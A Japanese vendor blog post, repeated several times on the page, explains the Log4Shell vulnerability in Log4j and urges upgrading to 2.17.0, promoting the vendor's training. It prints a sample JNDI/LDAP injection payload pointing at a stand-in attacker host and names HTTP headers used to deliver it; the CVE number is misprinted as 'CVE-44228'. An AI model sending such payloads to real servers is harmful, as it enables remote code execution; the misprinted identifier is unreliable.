ブログ

Log4jの脆弱性を解説!その攻撃経路と対策方法とは?

ローラ・ベルヘイデ
2022年1月16日発行

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


リソースを見る
リソースを見る

2021年12月、Javaライブラリ「Log4j」に重大なセキュリティ脆弱性「Log4Shell」が公開されました。この記事では、Log4Shell脆弱性を基本的に把握できるように最もシンプルな形に分解し、この脆弱性の知識を使って模擬的なWebサイトを悪用してみるというミッション(遊び場)を紹介します。

ご興味がおありですか?

Secure Code Warrior は、ソフトウェア開発ライフサイクル全体にわたってコードを保護し、サイバーセキュリティを最優先とする企業文化を創造するために、お客様の組織を支援します。AppSec マネージャー、開発者、CISO、またはセキュリティに関わるすべての人が、安全でないコードに関連するリスクを減らすことができるよう、支援します。

デモを予約する
シェアする
著者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

シェアする

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


リソースを見る
リソースを見る

以下のフォームに記入し、レポートをダウンロードしてください。

弊社製品や関連するセキュアコーディングのトピックに関する情報をお送りする許可をお願いします。当社は、お客様の個人情報を細心の注意を払って取り扱い、マーケティング目的で他社に販売することは決してありません。

送信
フォームを送信するには、「Analytics」のCookieを有効にしてください。完了したら、再度無効にしてください。

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


始める

以下のリンクをクリックし、この資料のPDFをダウンロードしてください。

Secure Code Warrior は、ソフトウェア開発ライフサイクル全体にわたってコードを保護し、サイバーセキュリティを最優先とする企業文化を創造するために、お客様の組織を支援します。AppSec マネージャー、開発者、CISO、またはセキュリティに関わるすべての人が、安全でないコードに関連するリスクを減らすことができるよう、支援します。

レポートを見るデモを予約する
PDFをダウンロード
リソースを見る
シェアする
ご興味がおありですか?

シェアする
著者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

シェアする

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。

Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか? 

私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。

古いニュース?

このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。

攻撃ベクトル

Log4Shellのインジェクションのペイロードは次のようなものです。

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。

この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。

実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。

予防のために意識向上

Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。

コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。 

この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。

Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。

特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。

Log4Shellを防御するためのスキルのレベルアップ

このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


目次

PDFをダウンロード
リソースを見る
ご興味がおありですか?

Secure Code Warrior は、ソフトウェア開発ライフサイクル全体にわたってコードを保護し、サイバーセキュリティを最優先とする企業文化を創造するために、お客様の組織を支援します。AppSec マネージャー、開発者、CISO、またはセキュリティに関わるすべての人が、安全でないコードに関連するリスクを減らすことができるよう、支援します。

デモを予約するダウンロード
シェアする
リソース・ハブ

始めるためのリソース

その他の記事
リソース・ハブ

始めるためのリソース

その他の記事